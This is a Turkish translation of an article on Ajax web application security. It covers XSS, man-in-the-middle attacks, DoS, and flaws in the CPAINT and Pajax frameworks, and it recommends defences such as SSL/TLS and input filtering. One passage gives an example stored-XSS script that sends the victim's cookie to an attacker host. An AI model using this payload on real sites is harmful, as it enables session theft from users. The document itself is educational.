Ajax Güvenligi: Dirt’den daha kuvvetli?

Ajax’in güvenlik içerigine bir bakis

Ajax; daha zengin özellikli , eszamanli olmayan programlarin gelisimine, izin verir, fakat bunu yaparken de yeni saldirilara yeni olasiliklar yaratir. Ilgili güvenlik konularina ve onlarin olasi çözümlerine bakacagiz.

Ajax (Asynchronous JavaScript and XML = Eszamanli olmayan JavaScript ve XML) 2005’de hayata geçmistir. Bir web servisi modeli  Ajax, yeni ve büyük bir sey olarak web gelistirme isindekilere tanitilmistir. Bütün bunlara karsin, Ajax kusursuz degildir, bunlarin en basinda herkes Ajax’in ne oldugunu bilmemektedir ve olasi riskler kurumsal çevrelere tam olarak anlatilamamistir. Bu makale, Ajax’in ne oldugunu, Ajax programlarinin güvenlik içeriklerini ve bu teknolojiye karsi potansiyel saldiri vektörlerini ve olasi koruma sistemlerini inceler.

Isin en basitinden Ajax, eski teknolojilerin üzerine kurulmus fakat onlarin orijinal kapsaminin ötesine geçmis herhangi yeni bir seydir. Ajax, Dinamik HTML mantiginin en yeni mirasçisidir ve özellik bakimindan zengin ve pratik web programlari gelistirilmesine izin verir. Bütün Ajax web programlarinin en fakir seviyesinde XMLHttpRequest JavaScript nesnesini veriyi uzak bir web sunucusundan çekmek için kullanir ve be veriyi DOM (Document Object Model = Doküman Nesne Modeli) kullanan bir web sayfasi için degistirir. Simdiye kadar, Google, Yahoo ve Microsoft, Ajax gelistirme alaninda büyük oyuncular olmuslardir, fakat sayilari artan yüksek profilli web sayfalari; eszamanli olmayan, kullanicilari için özellik zengini gibi faydalar saglamak için Ajax’a dönmektedirler.

Bütün bunlardan önce JavaScript ve tarayici güvenlik konularina bakmak en iyisidir. Bir Ajax programinin ilk çalistirilmasinin üzerine web sunucusu PC’deki tarayiciya bir seri JavaScript komutlari yollar, bu tarayici daha sonra aldigi komutlari çalistirir. Açikça, Ajax programinin kullanicisi programin yapimcilarina ayri bir güven besler. Ajax programinin JavaScript kodu, çalistirilabilir mobil koddur ve muhtemel güvelik riskleri içerir. Tipik olarak, tarayici saticilari bu JavaScript kodunun bir kum kutu içinde çalistirilmasi gibi dikenli bir konu ile ilgilenirler. Buna ek olarak, JavaScript güvenlik modeli farkli domainlerden birbirleriyle etkilesim içinde olan (ve DOM’u etkileyen) scriptleri korur.

Geleneksel web programlari ve bunlarin Ajax karsitlari arasinda, Cross Side Scripting (XSS), genel ve sikça tahmin edilemeyen bir problem olarak kalir, bu problem potansiyel saldirgana genis bir saldiri alani saglar. Ajax saldirganlara hem yeni ve zengin bir potansiyel açigi olan programlar saglar hem de çok güçlü exploit metotlari sunar. Geleneksel bir web programinda saldirganlar tarihsel olarak dikkatlerini tarayicilar üzerine bir bekleme durumunda odaklamak zorunda kalmislardir ve bu birçok örneginde programin gerektigi gibi sessiz davranmadigi konusunda görsel ipuçlari sunmustur.

Es zamanli olmayan davranislarin tanitilmasiyla beraber, süpheli kod, kullaniciya yansitilmayan ipuçlari olmaksizin XSS’in bir sonucu olarak sessizce ve el altindan bütün zararli aktiviteleri gerçeklestiriyor olabilir. Son zamanlardaki bunun örnekleri JS.Spavehero solucaninin ve yakin zamanda Yahoo’nun giris onaylama rutinlerini ve kod filtrelerini exploit eden JS.Yamanner solucaninin davranislarini içerir. Bu iki gerçek dünya saldirilarinin genis çapli zararina ragmen saldirganlarin XSS gibi bir geleneksel ve iyi bilinen vektör üzerine odaklanmalari bir gerçektir. Ajax programinin uygulamasinin ortaya çikmasi kimseye “Web 2.0” teknolojisi seçmemesi yönünde ilgilendirmemelidir.

MySpace solucaninin kullandigi saldiri vektörü XMLHTTPRequests’ini bir yayilma mekanizmasi olarak kullanmistir ve bir israrci XSS saldirisi olarak tanimlanabilir. Nispeten iyi huylu olan bu solucan, XMLHTTPRequests kullanan JavaScript kodunu GET ve POST isteklerini arkada ne olup bittiginden habersiz ve hedeflenmeyen kullanicili bir uygun sunucu çalistirmak için kullanmistir. Bütün bunlarin bir sonucu onlarin, uygun kontaklarin listesine yeni bir arkadas eklemesidir. Israrci (veya tip 2) XSS saldirisinda, bir süpheli saldirgan programin kullanilabilirligini kendine karsi kullanir. En basit seviyesinde, eger bir program XSS’e karsi açiklara sahipse, saldirganlar kendi saldiri vektörlerini sunucu üzerinde depolamayi ve onu uygun kullanicilara karsi kullanmayi seçebilirler. Örnegin; mesaj atmak için session ID’sine ve authentication’a gerek duyan eski bir mesajlasma sistemini ele alalim. Eger session ID’si client tarafli cookie sekilde saklaniyorsa ve program XSS’e göre açiksa, bir saldirgan uygun ve kullaniciyi kendi süpheli sitelerine yönlendiren JavaScript kodunu depolayabilir.

<script>

document.location.replace(

"http://www.attackersite.example/steal.php "

+ "what=" + document.cookie)

</script>

Israrli XSS, web programlarinin daha çok eszamanli olmayan ve özellik bakimindan zengin ortamlara karismasindan dolayi potansiyel olarak tehlikeli ve ciddi bir sorundur. Gelistirmenler, ciddiyetle geçmiste olan tehditleri göz önünde bulundurmalilardir. Bu saldiri vektörlerinin çözümü basittir ve gelistirenlerin XMLHTTPRequest nesnesinin fonksiyonelliginin temeline daha çok hesaba almalaridir.

MITM: Saldirilarin Kissinger’i

Bir  Ajax uygulamasi tarafindan iletilen verilerin çogu  Sade metin içerisindeki http üzerinde bulundugu için, Ajax uygulamalari orta (MITM) saldirilar içerisindeki potansiyel sahislara açiktir.

MITM saldirilarinin büyük oranda varsayimdan ibaret oldugu yaygin bir yanlis anlamadir, ama SSL uygulamasi yapmadan bir Ajax uygulamasini hedef almak isteyen bir saldirgan için mevcut birkaç ilgili saldiri vektörleri(ve araçlari) vardirMITM saldirilari bir network seviyesinde yaygin olmasina ragmen, web uygulamalarina (Ajax ya da degil) karsi bir saldiri vektörü olarak da siklikla kullanilmaktalar. Tipik bir MITM saldirisinda, saldiriyi yapacak kisi mevcut web uygulamasinin mantikli(yasal) bir kopyasini yapar, kullanicilari buna yönlendirir, taleplerini sunucuya tuzak olarak kurar, bir kopyasini depolar, ve sonra da mantikli(yasal)uygulamaya yeniden yönlendirilir. Açikçasi, bu en popüler biçimde phising saldirilarinda uygulanan bir saldiri vektörüdür ve phisher lar son zamanlarda çok anlatilan iki faktörlü kimlik denetimini bypass edecek benzer teknikler kullanmislardir.

Bir Ajax uygulamasi olarak gelistirilmis bir alis-veris portalini göz önünde bulundurun Geleneksel bir web uygulamasinda oldugu gibi, saldiriyi düzenleyenler uygulamanin bir kopyasini kurabilir(ya da daha spesifik olarak ödeme seçenekleri),sonra da kullanicilari bunu kullanmalari için oyuna getirir ve banka/ödeme ayrintilari ile ayrilirlar.  Ajax uygulamalarinin asenkronize dogasi sagolsun, ayni zamanda Ajax verilerinin kaynagini spoof etmek ve yasal uygulama bilesenlerini daha süphe dolu ve yapmacik maksatlarla degistirmek mümkün olabilir.

Bununla birlikte, geleneksel web uygulamalarinda oldugu gibi, bir Ajax uygulamasi araciligi ile gönderilen HTTP talep ve yanitlari SSL içerisine sarilabilir.  MITM saldirilarina[7] karsi hiçbir sekilde kusursuz bir çözüm olmamasina ragmen, bu bir uygulamanin güvenlik durusunu arttirmak için basit bir mekanizmadir. Hatirlanmalidir ki SSL kullanan uygulamalara karsi kullanmak için basarili saldiri vektörleri gelistirmeye çok fazla enerji odaklanmistir ve gelisigüzel yapilan bir internet arastirmasi bile açiga çikarmistir ki arastirmacilar ve kara sapkalilar benzer biçimde emeklerini bosa harcamamislardir. Gerçekten de birkaç yil önce SSL 2.0 bir MITM hotsu saldirilarina karsi savunmasiz bulunmustur. Bu nedenle SSL göz önünde bulunduruldugunda, hesaba katilacak en az güvenlik SSL 3.0 kriptografi ve TLS 1.0 kurmaktir.

Ideal olarak bir uygulamadan bir Ajax client’a servis edilen dinamik kod tabaninin kisitlayici erisimi olmalidir. Ajax yalnizca http araciligi ile iletisime izin verme ile sinirli oldugu için, ve güvenli HTTPyi tanitmak bireysel veri islemlerini sinirlamaya yardimci olabilecek olmasina ragmen, belirli bir URL ye kimin ya da neyin çagri yapabilecegini belirlemek için kullanilan bir mekanizma gibi uygulanamaz.  Her nasilsa, XMLHTTP talep nesnesi granularite saglamakta ve gelistiriciler ideal olarak ya HTTP oturumunu saglayan http talepleini filitre etmeyi ya da kötü niyetli erisim çabalarini önlemek için sifrelenmis http basliklarini çalistirmayi göz önünde bulundurmalidirlar.

Yeni uygulamalar, eski hileler

Ajax temeli var olan standartlara dayanan bir yapi oldugundan ve uygulamalari konvansiyonel web gelistirme teknikleri etrafinda temellendiginden, Ajax uygulamalarinin ayni zamanda diger bütün web uygulamalari ile paylasilan güvenlik konulari vardir.

Göz önünde bulundurulmasi gereken bir güvenlik konusu, eger bir Ajax uygulama rutini zayif dizayn edilmis ya da uygulanmissa, uygulama sunucusuna karsi basarili bir DoS saldirisi yapmak için kullanilma potansiyeli vardir. Mevcut bir çok web uygulamasi ve sunucu belirli bir zaman dilimi içerisinde belirli sayida eylem gerçeklestiren belli sayida kullaniciya uyarlanmistir. Sayesinde uygulama gelistiricilerinin Ajax’in asenkronize dogasini sarmaladigi ve kullanici seçme gidisi üzerine temellendirilmis otomatik doldurulmasi gereken bir forma izin verdigi bir senaryo düsünün. Client ya da Server üzerinde önbellek verisi yerine, küçük bir Ajax kontrolü veritabanini direkt olarak tarar. Bu, açikça yapilan talepleri artirir ve sunucunun(ve/ya da oturum) kaldiramayabilecegi bir sürücü yüklenmesi potansiyeline sahiptir. Eger uygun bakim yapilmazsa, uygulamalar bir saldirganin offline’i zorlamasi için karsilastirmali olarak önemsiz olabilir ve söylentide oldugu gibi, Ajax kendi kendisine karsi kullanilabilir.

Ajax ile ilgili bir büyük konu, saldirgana artirilmis bir saldiri alani vermeye gücü olmasidir. Gelistiriciler uygulamanin desteginde sinirli islevsellik gösteren sunucu tarafli sayfalar uygulamayi seçebilirler. Bu sunucu tarafli sayfalar yasal olarak gerçeklestirebilecekleri eylemlerde yasaklanacak olmalarina karsin, saldiri yapacak birine artirilmis bir saldiri alani saglayabilirler ve uygulamanin geri kalani gibi dikkatlice güvenlik altina alinmalari gerekecektir.Bir baska kaygi alani da hatalarla basaçikmadir. Geleneksel bir çok web uygulamasinda bu gözden kaçirilan bir alandir ve bir sonraki muhtesem uygulamayi yaratmak için acele edilirken hatalarla basaçikma zaman bakimindan baski altinda olan gelisim takimlari tarafindan epey ihmal edilmis olabilir. Hatalarla dogru sekilde basa çikma bu makalenin konusu degil, ancak Ajax gelistirme takimlari, bu kesinlikle dikkat çekecek bir saldiri vektörü oldugu için bir uygulamanin hata vermesi için titizlikle çalismali.

Ne dilediginize dikkat edin

Ajax güvenligi tarafindan yapilan bir iddia, phishing ve MITM saldirilarindan gelen tehditlerin XMLHTTPRtalep nesnesinin uygulanmasi ile büyük ölçüde azaltildigidir. Geleneksel JavaScriptin tersine XMLHTTPRequest  nesnesinin  çapraz domain, çapraz port ya da çapraz protokol talepleri yapmasina  izin verilmemistir. Bu gelisigüzel saldirilari sinirlandirmasina ragmen, ayni zamanda çapraz site uygulamalarinin gelisiminde zorluklar çikarabilir. XMLHTTPRequest nesnesinin kullanimi ve ayni orijinal güvenlik politikasi kisitlamalari tarafindan ortaya çikan zorluklar için birkaç potansiyel çözüm vardir.Harici bir domain kaynagindan bilgi arayip bulma isteklerinde XMLHTTP Request nesnesi tarafindan belirlenen sinirlandirilmalari bertaraf  etmedeki en basit mekanizma, ayni domainde host edilen URL yi cagirmaktir ancak bloke edilmis harici domainden istenilen bilgiyi ayristirmak icin scrpting dilinden faydalanilir.Obur mekanizma istege bagli java script kullanir.Gelistiriciler Capraz domain script kullanarak kolay bir sekilde dis muhteviyata ulasirlar.Ancak bu teknigin kullanimi uygulanan diger herhangi bir scriptten daha az gozealinabilir derecede risksiz degildir , boylece ana sayfadaki scriptlerin ayni baskinligi ile potansiyel guvenlik vakalari kayda degerdir.En iyisi capraz domain scriptlerinden kacinmaktir.Cabalayan gelistirmeciler icin tek mekanizmalar bunlar degildir tabiki ve fransiz yazilim muhendisi JC zaten her iki Greasemonkey scriptleri ve Flash programlarini kullanarak XMLHTTP Request nesnelerinin sinirlarini asabilmek icin kaydadeger bir zaman ayirmistir.XMLHTTP Request nesnelerinin saglamliklarinin asan sadece gelistirmeciler degildir , saldirganlar bundan faydalanmak icin bircok sayida yol bulmuslardir.Opera ve Mozillada olan bir cok hata halk tarafindan kapatilmistir.Tarayici guvenlik mekanizmasi gelistiricilere harici domain kaynaklarina XMLHTTP Request nesneleri kullanarak istekte bulunmalarina izin vermeyebilir ( yukarda tartistigimiz bypass mekanizmalarindan birini kullanmadigi takdirde) ama bu azimli saldirgani durdurmayabilir.Farzedin sizin sitenizde sub-domain var (ornek www.bankam.com hesaplar.bankam.com sub-domainine sahip)Eger sub-domain ( veya en ust seviye domanin URL de olabilir) script enjeksiyonuna karsi zayifsa saldirgan XMLHTTP Request nesnelerini domain etrafinda pervasizca sicratabilir ve oradaki kontrollerin gecerliligin ne olduguna gore bilgilere uygunsuz ulasim saglayabilir.   Saldirganlarin XMLHTTP Request nesnelerinindeki guvenlik aciklarini her ne kadar zaten dusunmediklerine inanacak derecede kuskulu isenizde Darknet makalesini hizli bir goz atmanizda her acidan fayda vardir.

Framed

Ajax gelismeye yonelik yapilanmasiyla kendini ortaya koydugundan beri bir cok sayida Ajaxla ilgili sistem ve aractakimi ortaya cikmistir.Bu tip sistemlerin ve aractakimlarinin cikislari ivme kazandi ve hala bir dusme egilimi gostermemektir.Acikca ortadadirki bu sistemleri kullanarak gelistirilen herhangi bir uygulamada guvenlik acigini kalitimsal olarak tasiyacaktir ve bu saldirganlar ve guvenlik uzmanlari icin oldukca cekici yerini  koruyacaktirBunun sebebi bu kadar basittir ; kotu niyetli saldirganlar, populer olarak yayginlasmis aractakimlari ve sistemlere basarili saldirilar siklikla, potansiyel olarak benzer ozellikleri barindiran yuzlerce sayfayi indirmede yararli olacaktirHangi sistemin veya aractakiminin kullnilacagi guvenlik acisindan onemli bir karardir Sistem cevrelerinin cogunlugu olarak ve aractakimlari henuz genelde kendini ispatlamamislardir ( cogu zaten deneme surumudur) ve guvenlik uygulamalarindaki islevselligi arastirilmamis bir degiskendir,risk yonetimi islemleri secimlerinde mutlaka onemli bir rol oynayacaktir.Oldukca cok sayidaki Ajax sistem ve aractakimlari konusunda sinirli sayida mesrulugu kabul edilmis arastirma yapilmasina ragmen,burasi tamamen kisir bir alan degildir.Gecen sene, bircoklarina gore digerlerinden daha meshur olan Ajax aractakimi CPAINT hakkinda bazi sorunlar bulunmusturZaafiyetler capraz site scriptinden kotu niyetli kodlari calistirabilecek yetersiz fonksiyon guvenligine kadar degisik cesitlilik gostermektedirArastirmaci Thor larholm tarafindan bulunan en kritik acikta saldirgan kotu niyetli kodu calistirmak icin onceden tanimli bir fonksiyonda gecerli bir isim edinmesine bile ihtiyac duymamaktadirBu yilin baslarinda Ajax sistemi Pajax ta bircok sayida acik bulunmustur En cok sozu edilen CPAINT teki aciklarla birlikte yetersiz input temizligi ve gecerlilige yol acan heryerde saldirgan kolayca zararli kodlari calistirabilir.Hizli gelisen Ajax uygulamalari araciligi ile Pajax kulllanan arastirmacilar icin hala daha kaygilandiricisi, bu yilin mayisinda potansiyel olarak yuzlerce Web 2.0 uygulamalarini gecirgen hale getiren metasploit modulu ortaya cikarilmistir

Igitur qui desiderat pacem, praeparet bellum

("Therefore, he who desires peace, let him prepare for war")

Bu nedenle barisi isteyenler savasa hep hazir olsunlar

XSS ve MITM gibi saldiri tasiyicilari genelde son kullanicilara yonelik Web 2.0 uygulamalaridirAncak, bu makalede diger yerlerdede sozunu ettigimiz zayif sistemlerde servere yapilacak saldirinin tamamen yapilamaz olmadigini anlamina gelmemektedir.Ajax uyguamalarinin sunucu elementi guvenli olmayan bir kullanicidan input alir ve bu input filtre edilip degerlendirilmez ise saldirgan kendi kodlarini sistemem enjekte edbilir ve kodlarini sunucuda calistirabilir.Kurnaz saldirganlar henuz tamamen sunucu bazli tasiyicilara atlamiyorlar ama klasik uzaktan kod dahil etme sorunlarini PHP yaziliminda register_globals=on orneginde oldugu gibi ,ileriki arastirmalar icin ilerde verimli bir alan olabilecegini ispatlamistir.Ajax uygulamalarinin yayilma guvenligini tayin etmek icin ne kadar cabalasakta oldukca sinirli sayida Ajaxa yonelik test araclari suan elimizde mevcuttur.Bu araclarinda bircogu belirli kaynak yoksunlugundan yakinmaktadir.Sprajax (http://www.denimgroup.com/sprajax.html) ornegin, sadece SQL server 2005 databasine birlesim fonksiyonu vardir. Cenzic gibi saticilar kendi otomatik acik bulma yontemlerine guvenerek piyasada oldukca Ajaxi destekleyen uygulamalar hakkinda cok cesaretli iddialarda bulunmaktadirlar.OWASP ( acik internet uygulamalari projesi) Ajax uygulamalarinin guvenligi konusunda pratik metodlar ve katilimci degerlendirmesine yonelik uygulamalarla yardimci olmaktadir.Bu gerceklesene kadar Ajax uygulamalarinin acik ve hata bulmalarinda suanda varolan arac ve metodlarda biraz sikinti yasayacaklari malesef uzucu bir meseledir.Arastirma ve gelistirme arac ve resmi metodlarin azligina ragmen varolan uygulamalarda guvenlik yatirimlar ve gelistirme takimlarinin olusturulmasi varolan tehlikelere karsi gozden kacirilmamalidir.Herhangi uygulamanin gelistirilmesinde guvenlik gelistirme asamalarinda mutlaka onemli bri rol oynamalidir.Eger Ajax ongorulenlerin hepsini dogrularsa bu beyinler onu hakektigi yere getirmek icin gereken cabayida vereceklerdir.Artik bu gorevi sonuna kadar kovalamak profesyonel guvenlikcilere ve  deneyimli gelistirmecilere dusmektedir.

Haberciler grubu adina darkCOD3R, Turkler ve HURKAN tarafindan çevrilmistir.